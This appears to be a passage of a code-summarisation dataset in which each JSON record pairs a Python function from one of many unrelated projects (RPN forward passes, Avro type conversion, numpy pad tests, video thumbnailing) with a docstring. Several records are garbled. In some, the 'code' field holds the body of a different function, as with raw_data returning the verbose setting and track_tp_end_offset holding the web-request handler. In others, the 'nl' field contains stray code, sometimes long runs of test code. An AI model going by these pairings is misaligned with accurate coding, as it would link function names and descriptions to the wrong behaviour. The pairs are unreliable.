\"{0}_menu\".format(i), None)if ogen:ogen(camp, thingmenu)def _get_generic_offers(self, npc, camp):Get any offers that could apply to non-element NPCs."} {"code": "def as_dict(self):\n", "nl": "Dict representation of BayesianOptimizer."} {"code": "def forward(self, images, features, gt_instances=None):\n num_branch = self.num_branch if self.training or not self.trident_fast else 1\n all_images = ImageList(\n torch.cat([images.tensor] * num_branch), images.image_sizes * num_branch\n )\n all_gt_instances = gt_instances * num_branch if gt_instances is not None else None\n\n return super(TridentRPN, self).forward(all_images, features, all_gt_instances)", "nl": "See :class:`RPN.forward`."} {"code": "def plot_phase_portraits(self, genes: List[str]) -> None:\n n = len(genes)\n sqrtn = int(np.ceil(np.sqrt(n)))\n gs = plt.GridSpec(sqrtn, int(np.ceil(n / sqrtn)))\n for i, gn in enumerate(genes):\n self._plot_phase_portrait(gn, gs[i])\n", "nl": "Plot spliced-unspliced scatterplots resembling phase portraitsArguments---------genes: List[str]A list of gene symbols."} {"code": "def raw_data(self) -> bool:\n return cast(bool, self._config.get(CONF_VERBOSE, False))", "nl": "Return whether raw data is configured.return cast(bool, self._config.get(CONF_RAW_DATA, False))@propertydef verbose(self) -> bool:Return whether verbose logging is enabled."} {"code": "def ignoreExt(self, ext):\n self.ignoredExts.append(ext)\n", "nl": "Ignore the given extension.Serve file.ext if file is requested"} {"code": "def _get_plane_axes(self, axis):\n return [self._get_axis(axi)\n for axi in self._get_plane_axes_index(axis)]\n\n fromDict = from_dict\n", "nl": "Get my plane axes indexes: these are already(as compared with higher level planes),as we are returning a DataFrame axes."} {"code": "def _from_row(cls, env, row):\n try:\n subscription = cls(env)\n subscription.id = int(row[0])\n subscription.user = row[1]\n subscription.type = row[2]\n subscription.path = row[3]\n subscription.repos = row[4]\n subscription.rev = row[5]\n subscription.notify = bool(row[6])\n return subscription\n except IndexError:\n return None\n\n @classmethod", "nl": "Creates a subscription from a list (representing a database row)."} {"code": "def set_header(self,**kws):\n new_header = OrderedDictionary()\n items = ('IEMFileVersion',\n 'Date',\n 'Workflow',\n 'Application',\n 'Assay',\n 'Description',\n 'Chemistry')\n for item in items:\n if item in kws:\n new_header[item] = kws[item]\n elif item in self._header:\n new_header[item] = self._header[item]\n for item in kws:\n if item not in items:\n new_header[item] = kws[item]\n self._header = new_header\n", "nl": "Set items in the [Header] sectionSupply keyword=value pairs to set the values for itemsin the sample sheet headerFor example:>>> s.set_header(Date=\"08/19/2016\",Assay=\"Nextera XT\")"} {"code": "def __getattr__(self, item):\n if item == '__wrapped__':\n raise AttributeError('No attribute __wrapped__')\n else:\n return QFactory(name=item, parent=self)\n", "nl": ":return: QFactory()"} {"code": "def toType(pat):\n\n if isinstance(pat, Null): return AvroNull()\n elif isinstance(pat, Boolean): return AvroBoolean()\n elif isinstance(pat, Int): return AvroInt()\n elif isinstance(pat, Long): return AvroLong()\n elif isinstance(pat, Float): return AvroFloat()\n elif isinstance(pat, Double): return AvroDouble()\n elif isinstance(pat, Bytes): return AvroBytes()\n elif isinstance(pat, String): return AvroString()\n\n elif isinstance(pat, Array): return AvroArray(toType(pat.items))\n elif isinstance(pat, Map): return AvroMap(toType(pat.values))\n elif isinstance(pat, Union): return AvroUnion([toType(x) for x in pat.types])\n\n elif isinstance(pat, Fixed) and pat.fullName is not None:\n namebits = pat.fullName.split(\".\")\n if len(namebits) == 1:\n return AvroFixed(pat.size, namebits[-1], None)\n else:\n return AvroFixed(pat.size, namebits[-1], \".\".join(namebits[:-1]))\n elif isinstance(pat, Fixed):\n return AvroFixed(pat.size)\n\n elif isinstance(pat, Enum) and pat.fullName is not None:\n namebits = pat.fullName.split(\".\")\n if len(namebits) == 1:\n return AvroEnum(pat.symbols, namebits[-1], None)\n else:\n return AvroEnum(pat.symbols, namebits[-1], \".\".join(namebits[:-1]))\n elif isinstance(pat, Enum):\n return AvroEnum(pat.symbols)\n\n elif isinstance(pat, Record) and pat.fullName is not None:\n namebits = pat.fullName.split(\".\")\n if len(namebits) == 1:\n return AvroRecord([AvroField(k, toType(v)) for k, v in pat.fields.items()], namebits[-1], None)\n else:\n return AvroRecord([AvroField(k, toType(v)) for k, v in pat.fields.items()], namebits[-1], \".\".join(namebits[:-1]))\n elif isinstance(pat, Record):\n return AvroRecord([AvroField(k, toType(v)) for k, v in pat.fields.items()])\n\n elif isinstance(pat, Fcn): return FcnType([toType(x) for x in pat.params()], toType(pat.ret()))\n\n else: raise Exception\n", "nl": "Convert a pattern to a type, if possible (wildcards can't be converted to types).:type pat: titus.P:param pat: pattern to convert:rtype: titus.datatype.Type:return: corresponding type (titus.datatype.Type rather than titus.datatype.AvroType to allow for titus.datatype.FcnType)"} {"code": "def test_connectionMadeLost(self):\n self.assertEqual(self.element.events, [])\n self.page._connectionMade()\n self.assertEqual(self.element.events, ['made'])\n self.page._disconnected(ConnectionLost('test'))\n self.assertEqual(self.element.events, ['made', 'lost'])\n\n", "nl": "A widget's connectionMade method will be called when the transport isinitially connected, and connectionLost called once the transport isdisconnected."} {"code": "def scrape_amsterdam_bgt(layer_name, bbox=None):\n params = 'REQUEST=GetFeature&' \\\n 'SERVICE=wfs&' \\\n 'VERSION=2.0.0&' \\\n 'TYPENAME=' \\\n + layer_name + '&'\n\n if bbox is not None:\n bbox_string = str(bbox[0][0]) + ',' + str(bbox[0][1]) + ',' \\\n + str(bbox[1][0]) + ',' + str(bbox[1][1])\n params = params + 'BBOX=' + bbox_string + '&'\n\n params = params + 'OUTPUTFORMAT=geojson'\n\n response = requests.get(WFS_URL + params)\n try:\n return response.json()\n except ValueError:\n return None\n\n", "nl": "Scrape BGT layer information from the WFS.Parameters----------layer_name : strInformation about the different layers can be found at:https://www.amsterdam.nl/stelselpedia/bgt-index/producten-bgt/prodspec-bgt-dgn-imgeo/Returns-------The WFS response in JSON format or a dict."} {"code": "def __setstate__(self, state):\n value, version, dialect = state\n\n self._value = value\n\n if version == 48:\n self._module = _eui48\n elif version == 64:\n self._module = _eui64\n else:\n raise ValueError('unpickling failed for object state: %s' \\\n % (state,))\n\n self.dialect = dialect\n", "nl": ":param state: data used to unpickle a pickled `EUI` object."} {"code": "def fill_hops(self, subg):\n assert subg.target.size == 1, 'use drnl or other de for feat augmentation'\n node2hop = {n: None for n in range(subg.indptr.size - 1)}\n node2hop[subg.target[0]] = 0\n cur_level = set(subg.target)\n num_level = 0\n next_level = set()\n while len(cur_level) > 0:\n next_level = set()\n num_level += 1\n for n in cur_level:\n for u in subg.indices[subg.indptr[n] : subg.indptr[n + 1]]:\n if node2hop[u] is not None:\n continue\n node2hop[u] = num_level\n next_level.add(u)\n cur_level = next_level\n assert node2hop[subg.target[0]] == 0\n self.hop = np.fromiter(node2hop.values(), dtype=np.int)\n", "nl": "Only used by python sampler. For C++ sampler, the backend will take care of the \"hops\" annotation.Set the hop number for all subgraph nodesUpdate the values of self.hop"} {"code": "def track_tp_end_offset(self, tp: TP, offset: int) -> None:\n super().on_web_request_end(app, request, response, state, view=view)\n status_code = int(state['status_code'])\n self.client.incr(f'http_status_code.{status_code}', rate=self.rate)\n self.client.timing(\n 'http_response_latency',\n self.ms_since(state['time_end']),\n rate=self.rate)\n\n @cached_property", "nl": "Track new topic partition end offset for monitoring lags.super().track_tp_end_offset(tp, offset)metric_name = f'end_offset.{tp.topic}.{tp.partition}'self.client.gauge(metric_name, offset)def on_web_request_end(self,app: AppT,request: web.Request,response: Optional[web.Response],state: Dict,*,view: web.View = None) -> None:Web server finished working on request."} {"code": "def test_suffix(self):\n proto = Tag('div')\n tag = proto()\n tag(class_='a')\n self.assertEqual(tag.attributes, {'class': 'a'})\n\n", "nl": "L{Tag.__call__} accepts Python keywords with a suffixed underscore asthe DOM attribute of that literal suffix."} {"code": "def isolate_loop_body_and_get_itervars(tree, lineno, loop_id):\n candidate_nodes = []\n for node in ast.walk(tree):\n if (\n isinstance(node, ast.For)\n and isinstance(node.iter, ast.Call)\n and node.iter.func.id == \"reloading\"\n and (\n (loop_id is not None and loop_id == get_loop_id(node))\n or getattr(node, \"lineno\", None) == lineno\n )\n ):\n candidate_nodes.append(node)\n\n if len(candidate_nodes) > 1:\n raise LookupError(\n \"The reloading loop is ambigious. Use `reloading` only once per line and make sure that the code in that line is unique within the source file.\"\n )\n\n if len(candidate_nodes) < 1:\n raise LookupError(\n \"Could not locate reloading loop. Please make sure the code in the line that uses `reloading` doesn't change between reloads.\"\n )\n\n loop_node = candidate_nodes[0]\n tree.body = loop_node.body\n return loop_node.target, get_loop_id(loop_node)\n\n", "nl": "Modifies tree inplace as unclear how to create ast.Module.Returns itervars"} {"code": "def value(self) -> Any:\n\n If auto_update is True then the the write command will be called automatically.\n\n \"\"\"", "nl": "Return the current value of the symbol.return self._value@value.setterdef value(self, val: Any) -> None:Set the current value of the symbol."} {"code": "def wrap(text, width=80):\n\n return reduce(lambda line, word: '%s%s%s' % (line, ' \\n'[(len(line)-line.rfind('\\n')-1 + len(word.split('\\n', 1)[0]) >= width)], word), text.split(' '))", "nl": "A word-wrap function that preserves existing line breaks and most spaces inthe text.Expects that existing line breaks are posix newlines (\\n).Author: Mike BrownSource: http://code.activestate.com/recipes/148061-one-liner-word-wrap-function/"} {"code": "def test_read_config(self):\n test_file = \"test_latex.config\"\n with open(test_file, \"w\") as fp:\n fp.write(config)", "nl": "config = dedent([sumatra]label: fooproject: MyProjectrecord_store: /path/to/dbdigest: 0123456789abcdef[graphics]width: 0.9\\textwidth)"} {"code": "def shapeConnectIndexes(self, indexes):\n pairs = coerceIndexToChildType(indexes, ProgPair)\n pairs = [i.model().itemFromIndex(i) for i in pairs]\n pairs = makeUnique([i for i in pairs if not i.shape.isRest])\n\n pBar = QProgressDialog(\"Connecting Shapes\", \"Cancel\", 0, 100, self)\n pBar.setMaximum(len(pairs))\n\n for pair in pairs:\n c = pair.prog.controller\n c.connectShape(pair.shape, delete=True)\n\n pBar.setValue(pBar.value() + 1)\n pBar.setLabelText(\"Extracting:\\n{0}\".format(pair.shape.name))\n QApplication.processEvents()\n if pBar.wasCanceled():\n return\n\n pBar.close()\n", "nl": " Match the provided shapes to DCC meshes based on their names, then delete the MeshesParameters----------indexes : list of QModelIndexA list of selected model indexes"} {"code": "def _check_retval_(self):\n return self.contents\n\n @property", "nl": "This method is called when this class is used as the .restypeattribute for a shared-library function, to automatically wrap thepointer into an array."} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n guid = \"%s-%s\" % (set_type, i)\n text_a = line['sentence1']\n text_b = line['sentence2']\n label = str(line['label']) if set_type != 'test' else \"0\"\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass TriclueProcessor(DataProcessor):\n \"\"\"Processor for the AFQMC data set (CLUE version).\"\"\"", "nl": "See base class.return [\"0\", \"1\"]def _create_examples(self, lines, set_type):Creates examples for the training and dev sets."} {"code": "def add_admin(self, member):\n if member not in self.admins:\n message = \"'{}' is not an admin\".format(member)\n self.logger.warning(message)\n return False, message, NOTIF_WARN\n self._setup_acl()\n self.admins.remove(member)\n self.conf.options[self.section][\"admin\"] = self.admins or \"\"\n self.conf.options.write()\n self.load_acl(True)\n message = \"'{}' successfully removed from admins\".format(member)\n return True, message, NOTIF_OK\n\n @property", "nl": "Add an adminif member in self.admins:message = \"'{}' is already an admin\".format(member)self.logger.warning(message)return False, message, NOTIF_WARNself._setup_acl()self.admins.append(member)self.conf.options[self.section][\"admin\"] = self.adminsself.conf.options.write()self.load_acl(True)message = \"'{}' successfully added as admin\".format(member)return True, message, NOTIF_OKdef del_admin(self, member):Delete an admin"} {"code": "def test_same_prepend_append(self, mode):\n a = np.pad(np.ones(10).reshape(2, 5), (223, 123), mode=\"linear_ramp\")\n assert_equal(a[:, 0], 0.)\n assert_equal(a[:, -1], 0.)\n assert_equal(a[0, :], 0.)\n assert_equal(a[-1, :], 0.)\n\n @pytest.mark.parametrize(\"dtype\", _numeric_dtypes)", "nl": " Test that appended and prepended values are equal # This test is constructed to trigger floating point rounding errors in# a way that caused gh-11216 for mode=='mean'a = np.array([-1, 2, -1]) + np.array([0, 1e-12, 0], dtype=np.float64)a = np.pad(a, (1, 1), mode)assert_equal(a[0], a[-1])@pytest.mark.parametrize(\"mode\", [\"mean\", \"median\", \"minimum\", \"maximum\"])@pytest.mark.parametrize(\"stat_length\", [-2, (-2,), (3, -1), ((5, 2), (-2, 3)), ((-4,), (2,))])def test_check_negative_stat_length(self, mode, stat_length):arr = np.arange(30).reshape((6, 5))match = \"index can't contain negative values\"with pytest.raises(ValueError, match=match):np.pad(arr, 2, mode, stat_length=stat_length)def test_simple_stat_length(self):a = np.arange(30)a = np.reshape(a, (6, 5))a = np.pad(a, ((2, 3), (3, 2)), mode='mean', stat_length=(3,))b = np.array([[6, 6, 6, 5, 6, 7, 8, 9, 8, 8],[6, 6, 6, 5, 6, 7, 8, 9, 8, 8],[1, 1, 1, 0, 1, 2, 3, 4, 3, 3],[6, 6, 6, 5, 6, 7, 8, 9, 8, 8],[11, 11, 11, 10, 11, 12, 13, 14, 13, 13],[16, 16, 16, 15, 16, 17, 18, 19, 18, 18],[21, 21, 21, 20, 21, 22, 23, 24, 23, 23],[26, 26, 26, 25, 26, 27, 28, 29, 28, 28],[21, 21, 21, 20, 21, 22, 23, 24, 23, 23],[21, 21, 21, 20, 21, 22, 23, 24, 23, 23],[21, 21, 21, 20, 21, 22, 23, 24, 23, 23]])assert_array_equal(a, b)@pytest.mark.filterwarnings(\"ignore:Mean of empty slice:RuntimeWarning\")@pytest.mark.filterwarnings(\"ignore:invalid value encountered in (true_divide|double_scalars):\"\"RuntimeWarning\")@pytest.mark.parametrize(\"mode\", [\"mean\", \"median\"])def test_zero_stat_length_valid(self, mode):arr = np.pad([1., 2.], (1, 2), mode, stat_length=0)expected = np.array([np.nan, 1., 2., np.nan, np.nan])assert_equal(arr, expected)@pytest.mark.parametrize(\"mode\", [\"minimum\", \"maximum\"])def test_zero_stat_length_invalid(self, mode):match = \"stat_length of 0 yields no value for padding\"with pytest.raises(ValueError, match=match):np.pad([1., 2.], 0, mode, stat_length=0)with pytest.raises(ValueError, match=match):np.pad([1., 2.], 0, mode, stat_length=(1, 0))with pytest.raises(ValueError, match=match):np.pad([1., 2.], 1, mode, stat_length=0)with pytest.raises(ValueError, match=match):np.pad([1., 2.], 1, mode, stat_length=(1, 0))class TestConstant(object):def test_check_constant(self):a = np.arange(100)a = np.pad(a, (25, 20), 'constant', constant_values=(10, 20))b = np.array([10, 10, 10, 10, 10, 10, 10, 10, 10, 10,10, 10, 10, 10, 10, 10, 10, 10, 10, 10,10, 10, 10, 10, 10,0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19,20, 21, 22, 23, 24, 25, 26, 27, 28, 29,30, 31, 32, 33, 34, 35, 36, 37, 38, 39,40, 41, 42, 43, 44, 45, 46, 47, 48, 49,50, 51, 52, 53, 54, 55, 56, 57, 58, 59,60, 61, 62, 63, 64, 65, 66, 67, 68, 69,70, 71, 72, 73, 74, 75, 76, 77, 78, 79,80, 81, 82, 83, 84, 85, 86, 87, 88, 89,90, 91, 92, 93, 94, 95, 96, 97, 98, 99,20, 20, 20, 20, 20, 20, 20, 20, 20, 20,20, 20, 20, 20, 20, 20, 20, 20, 20, 20])assert_array_equal(a, b)def test_check_constant_zeros(self):a = np.arange(100)a = np.pad(a, (25, 20), 'constant')b = np.array([ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0,0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19,20, 21, 22, 23, 24, 25, 26, 27, 28, 29,30, 31, 32, 33, 34, 35, 36, 37, 38, 39,40, 41, 42, 43, 44, 45, 46, 47, 48, 49,50, 51, 52, 53, 54, 55, 56, 57, 58, 59,60, 61, 62, 63, 64, 65, 66, 67, 68, 69,70, 71, 72, 73, 74, 75, 76, 77, 78, 79,80, 81, 82, 83, 84, 85, 86, 87, 88, 89,90, 91, 92, 93, 94, 95, 96, 97, 98, 99,0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0])assert_array_equal(a, b)def test_check_constant_float(self):# If input array is int, but constant_values are float, the dtype of# the array to be padded is keptarr = np.arange(30).reshape(5, 6)test = np.pad(arr, (1, 2), mode='constant',constant_values=1.1)expected = np.array([[ 1, 1, 1, 1, 1, 1, 1, 1, 1],[ 1, 0, 1, 2, 3, 4, 5, 1, 1],[ 1, 6, 7, 8, 9, 10, 11, 1, 1],[ 1, 12, 13, 14, 15, 16, 17, 1, 1],[ 1, 18, 19, 20, 21, 22, 23, 1, 1],[ 1, 24, 25, 26, 27, 28, 29, 1, 1],[ 1, 1, 1, 1, 1, 1, 1, 1, 1],[ 1, 1, 1, 1, 1, 1, 1, 1, 1]])assert_allclose(test, expected)def test_check_constant_float2(self):# If input array is float, and constant_values are float, the dtype of# the array to be padded is kept - here retaining the float constantsarr = np.arange(30).reshape(5, 6)arr_float = arr.astype(np.float64)test = np.pad(arr_float, ((1, 2), (1, 2)), mode='constant',constant_values=1.1)expected = np.array([[ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1],[ 1.1, 0. , 1. , 2. , 3. , 4. , 5. , 1.1, 1.1],[ 1.1, 6. , 7. , 8. , 9. , 10. , 11. , 1.1, 1.1],[ 1.1, 12. , 13. , 14. , 15. , 16. , 17. , 1.1, 1.1],[ 1.1, 18. , 19. , 20. , 21. , 22. , 23. , 1.1, 1.1],[ 1.1, 24. , 25. , 26. , 27. , 28. , 29. , 1.1, 1.1],[ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1],[ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]])assert_allclose(test, expected)def test_check_constant_float3(self):a = np.arange(100, dtype=float)a = np.pad(a, (25, 20), 'constant', constant_values=(-1.1, -1.2))b = np.array([-1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1,-1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1, -1.1,-1.1, -1.1, -1.1, -1.1, -1.1,0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19,20, 21, 22, 23, 24, 25, 26, 27, 28, 29,30, 31, 32, 33, 34, 35, 36, 37, 38, 39,40, 41, 42, 43, 44, 45, 46, 47, 48, 49,50, 51, 52, 53, 54, 55, 56, 57, 58, 59,60, 61, 62, 63, 64, 65, 66, 67, 68, 69,70, 71, 72, 73, 74, 75, 76, 77, 78, 79,80, 81, 82, 83, 84, 85, 86, 87, 88, 89,90, 91, 92, 93, 94, 95, 96, 97, 98, 99,-1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2,-1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2, -1.2])assert_allclose(a, b)def test_check_constant_odd_pad_amount(self):arr = np.arange(30).reshape(5, 6)test = np.pad(arr, ((1,), (2,)), mode='constant',constant_values=3)expected = np.array([[ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3],[ 3, 3, 0, 1, 2, 3, 4, 5, 3, 3],[ 3, 3, 6, 7, 8, 9, 10, 11, 3, 3],[ 3, 3, 12, 13, 14, 15, 16, 17, 3, 3],[ 3, 3, 18, 19, 20, 21, 22, 23, 3, 3],[ 3, 3, 24, 25, 26, 27, 28, 29, 3, 3],[ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3]])assert_allclose(test, expected)def test_check_constant_pad_2d(self):arr = np.arange(4).reshape(2, 2)test = np.lib.pad(arr, ((1, 2), (1, 3)), mode='constant',constant_values=((1, 2), (3, 4)))expected = np.array([[3, 1, 1, 4, 4, 4],[3, 0, 1, 4, 4, 4],[3, 2, 3, 4, 4, 4],[3, 2, 2, 4, 4, 4],[3, 2, 2, 4, 4, 4]])assert_allclose(test, expected)def test_check_large_integers(self):uint64_max = 2 ** 64 - 1arr = np.full(5, uint64_max, dtype=np.uint64)test = np.pad(arr, 1, mode=\"constant\", constant_values=arr.min())expected = np.full(7, uint64_max, dtype=np.uint64)assert_array_equal(test, expected)int64_max = 2 ** 63 - 1arr = np.full(5, int64_max, dtype=np.int64)test = np.pad(arr, 1, mode=\"constant\", constant_values=arr.min())expected = np.full(7, int64_max, dtype=np.int64)assert_array_equal(test, expected)def test_check_object_array(self):arr = np.empty(1, dtype=object)obj_a = object()arr[0] = obj_aobj_b = object()obj_c = object()arr = np.pad(arr, pad_width=1, mode='constant',constant_values=(obj_b, obj_c))expected = np.empty((3,), dtype=object)expected[0] = obj_bexpected[1] = obj_aexpected[2] = obj_cassert_array_equal(arr, expected)def test_pad_empty_dimension(self):arr = np.zeros((3, 0, 2))result = np.pad(arr, [(0,), (2,), (1,)], mode=\"constant\")assert result.shape == (3, 4, 4)class TestLinearRamp(object):def test_check_simple(self):a = np.arange(100).astype('f')a = np.pad(a, (25, 20), 'linear_ramp', end_values=(4, 5))b = np.array([4.00, 3.84, 3.68, 3.52, 3.36, 3.20, 3.04, 2.88, 2.72, 2.56,2.40, 2.24, 2.08, 1.92, 1.76, 1.60, 1.44, 1.28, 1.12, 0.96,0.80, 0.64, 0.48, 0.32, 0.16,0.00, 1.00, 2.00, 3.00, 4.00, 5.00, 6.00, 7.00, 8.00, 9.00,10.0, 11.0, 12.0, 13.0, 14.0, 15.0, 16.0, 17.0, 18.0, 19.0,20.0, 21.0, 22.0, 23.0, 24.0, 25.0, 26.0, 27.0, 28.0, 29.0,30.0, 31.0, 32.0, 33.0, 34.0, 35.0, 36.0, 37.0, 38.0, 39.0,40.0, 41.0, 42.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0,50.0, 51.0, 52.0, 53.0, 54.0, 55.0, 56.0, 57.0, 58.0, 59.0,60.0, 61.0, 62.0, 63.0, 64.0, 65.0, 66.0, 67.0, 68.0, 69.0,70.0, 71.0, 72.0, 73.0, 74.0, 75.0, 76.0, 77.0, 78.0, 79.0,80.0, 81.0, 82.0, 83.0, 84.0, 85.0, 86.0, 87.0, 88.0, 89.0,90.0, 91.0, 92.0, 93.0, 94.0, 95.0, 96.0, 97.0, 98.0, 99.0,94.3, 89.6, 84.9, 80.2, 75.5, 70.8, 66.1, 61.4, 56.7, 52.0,47.3, 42.6, 37.9, 33.2, 28.5, 23.8, 19.1, 14.4, 9.7, 5.])assert_allclose(a, b, rtol=1e-5, atol=1e-5)def test_check_2d(self):arr = np.arange(20).reshape(4, 5).astype(np.float64)test = np.pad(arr, (2, 2), mode='linear_ramp', end_values=(0, 0))expected = np.array([[0., 0., 0., 0., 0., 0., 0., 0., 0.],[0., 0., 0., 0.5, 1., 1.5, 2., 1., 0.],[0., 0., 0., 1., 2., 3., 4., 2., 0.],[0., 2.5, 5., 6., 7., 8., 9., 4.5, 0.],[0., 5., 10., 11., 12., 13., 14., 7., 0.],[0., 7.5, 15., 16., 17., 18., 19., 9.5, 0.],[0., 3.75, 7.5, 8., 8.5, 9., 9.5, 4.75, 0.],[0., 0., 0., 0., 0., 0., 0., 0., 0.]])assert_allclose(test, expected)@pytest.mark.xfail(exceptions=(AssertionError,))def test_object_array(self):from fractions import Fractionarr = np.array([Fraction(1, 2), Fraction(-1, 2)])actual = np.pad(arr, (2, 3), mode='linear_ramp', end_values=0)# deliberately chosen to have a non-power-of-2 denominator such that# rounding to floats causes a failure.expected = np.array([Fraction( 0, 12),Fraction( 3, 12),Fraction( 6, 12),Fraction(-6, 12),Fraction(-4, 12),Fraction(-2, 12),Fraction(-0, 12),])assert_equal(actual, expected)def test_end_values(self):Ensure that end values are exact."} {"code": "def invoice_pdf(request, order_id):\n order = get_object_or_404(plata.shop_instance().order_model, pk=order_id)\n\n pdf, response = pdf_response(\n \"invoice-%09d\" % order.id, pdfdocument=PlataPDFDocument\n )\n plata.reporting.order.invoice_pdf(pdf, order)\n return response\n\n\n@login_required", "nl": "Returns the invoice PDF"} {"code": "def _proxy_method(self, *args, **kwargs):\n method = kwargs.pop('method')\n data = method(self, *args, **kwargs)\n if isinstance(data, str):\n return SafeString(data)\n else:\n return SafeUnicode(data)\n\n decode = curry(_proxy_method, method = str.decode)\n\nclass SafeUnicode(unicode, SafeData):\n \"\"\"", "nl": "Wrap a call to a normal unicode method up so that we return saferesults. The method that is being wrapped is passed in the 'method'argument."} {"code": "def test_performative_string_value():\n msg = GymMessage(\n message_id=1,\n dialogue_reference=(str(0), \"\"),\n target=0,\n performative=GymMessage.Performative.RESET,\n )\n\n with pytest.raises(ValueError, match=\"Performative not valid:\"):\n with mock.patch.object(GymMessage.Performative, \"__eq__\", return_value=False):\n GymMessage.serializer.encode(msg)\n\n", "nl": "Test the string value of the performatives.assert str(GymMessage.Performative.ACT) == \"act\", \"The str value must be act\"assert (str(GymMessage.Performative.PERCEPT) == \"percept\"), \"The str value must be percept\"assert (str(GymMessage.Performative.STATUS) == \"status\"), \"The str value must be status\"assert str(GymMessage.Performative.RESET) == \"reset\", \"The str value must be reset\"assert str(GymMessage.Performative.CLOSE) == \"close\", \"The str value must be close\"def test_encoding_unknown_performative():Test that we raise an exception when the performative is unknown during encoding."} {"code": "def analyze_video(path: Path, thumbnail: Path = None) -> tuple:\n\n try:\n import moviepy.editor as mp\n except ImportError:\n raise Exception(\"Please install moviepy>=1.0.3 and retry\")\n\n print(f'Analyzing video file \"{path}\"')\n video = mp.VideoFileClip(str(path))\n width, height = video.size\n if not thumbnail:\n thumbnail = f\"{path}.jpg\"\n print(f'Generating thumbnail \"{thumbnail}\"...')\n video.save_frame(thumbnail, t=(video.duration / 2))\n video.close()\n return width, height, video.duration, thumbnail", "nl": "Story Configure for PhotoParameters----------path: PathPath to the mediathumbnail: strPath to thumbnail for video. When None, then thumbnail is generate automaticallyReturns-------Tuple(width, height, duration, thumbnail)"} {"code": "def parse_timestamp(timestamp):\n if \":\" == timestamp[-3:-2]:\n timestamp = timestamp[:-3] + timestamp[-2:]\n\n return datetime.strptime(timestamp, \"%Y-%m-%dT%H:%M:%S%z\")", "nl": "parse_timestamp parses a timestamp and returns a datetime."} {"code": "def transform_ohe(self, X: DataFrame):\n if self._cat_feat_gen is not None:\n X = self._cat_feat_gen.transform(X)\n X = self._ohe.transform(X)\n return X\n", "nl": "Call this method directly to get numpy output.Skips pandas conversion (much faster if only the numpy output is required)."} {"code": "def __init__(self, parent, app, connection, ts_from, ts_to, identities_service, transactions_service):\n super().__init__(parent)\n self.app = app\n self.connection = connection\n self.blockchain_processor = BlockchainProcessor.instanciate(app)\n self.identities_service = identities_service\n self.sql_adapter = TxHistorySqlAdapter(self.app.db.conn)\n self.transactions_repo = TransactionsRepo(self.app.db.conn)\n self.dividends_repo = DividendsRepo(self.app.db.conn)\n self.current_page = 0\n self.ts_from = ts_from\n self.ts_to = ts_to\n self.main_column_id = HistoryTableModel.columns_types[0]\n self.order = Qt.AscendingOrder\n self.transfers_data = []\n", "nl": "History of all transactions:param PyQt5.QtWidgets.QWidget parent: parent widget:param sakia.app.Application app: the main application:param sakia.data.entities.Connection connection: the connection:param sakia.services.IdentitiesService identities_service: the identities service:param sakia.services.TransactionsService transactions_service: the transactions service"} {"code": "def ValidateOutputDir(output_dir):\n\n VerifyOutputFile(output_dir, GTEST_H_OUTPUT)\n VerifyOutputFile(output_dir, GTEST_ALL_CC_OUTPUT)\n\n", "nl": "Makes sure output_dir points to a valid output directory.The function aborts the program on failure."} {"code": "def test_total_training_time(self) -> None:\n data = self._fake_data(num_batches=5, batch_size=10)\n cfg_big_wall = GaussianTimeOutSimulatorConfig(\n timeout_wall_per_round=99999.0,\n fl_stopping_time=1.0,\n duration_distribution_generator=PerExampleGaussianDurationDistributionConfig(\n training_duration_mean=1.0, training_duration_sd=0.0\n ),\n )\n gaussian_timeout_simulator = GaussianTimeOutSimulator(\n **OmegaConf.structured(cfg_big_wall)\n )\n clnt_gaussian_timeout = self._get_client(\n data, timeout_simulator=gaussian_timeout_simulator\n )\n num_examples = 5 * 10\n assertEqual(clnt_gaussian_timeout.get_total_training_time(), num_examples)\n timeout_wall = 25.0\n cfg_small_wall = GaussianTimeOutSimulatorConfig(\n timeout_wall_per_round=timeout_wall,\n fl_stopping_time=1.0,\n duration_distribution_generator=PerExampleGaussianDurationDistributionConfig(\n training_duration_mean=1.0, training_duration_sd=0.0\n ),\n )\n gaussian_timeout_simulator = GaussianTimeOutSimulator(\n **OmegaConf.structured(cfg_small_wall)\n )\n clnt_gaussian_timeout = self._get_client(\n data, timeout_simulator=gaussian_timeout_simulator\n )\n assertEqual(clnt_gaussian_timeout.get_total_training_time(), timeout_wall)\n clnt_never_timeout = self._get_client(\n data,\n timeout_simulator=NeverTimeOutSimulator(\n **OmegaConf.structured(NeverTimeOutSimulatorConfig())\n ),\n )\n assertEqual(clnt_never_timeout.get_total_training_time(), 0.0)\n", "nl": "total training time for Gaussian with mean 1.0 and std 0.0equals to min(number of client examples, timeout_wall_per_round)"} {"code": "def parse_json_settings(self, settings_file, lang: str):\n with open(settings_file, 'r', encoding=\"utf-8\", errors='ignore') as f:\n settings = json.load(f)\n\n self.language_settings = settings['language_settings'].get(\n lang, \"EN\")\n self.colors_settings = settings['colors']\n self.planets_settings = settings['planets']\n self.aspects_settings = settings['aspects']\n", "nl": "Parse the settings file."} {"code": "def run(self) -> None:\n Run a coroutine inside the event loop.\n\n :param coro: a coroutine to run.\n :return: task\n \"\"\"", "nl": "Run code inside 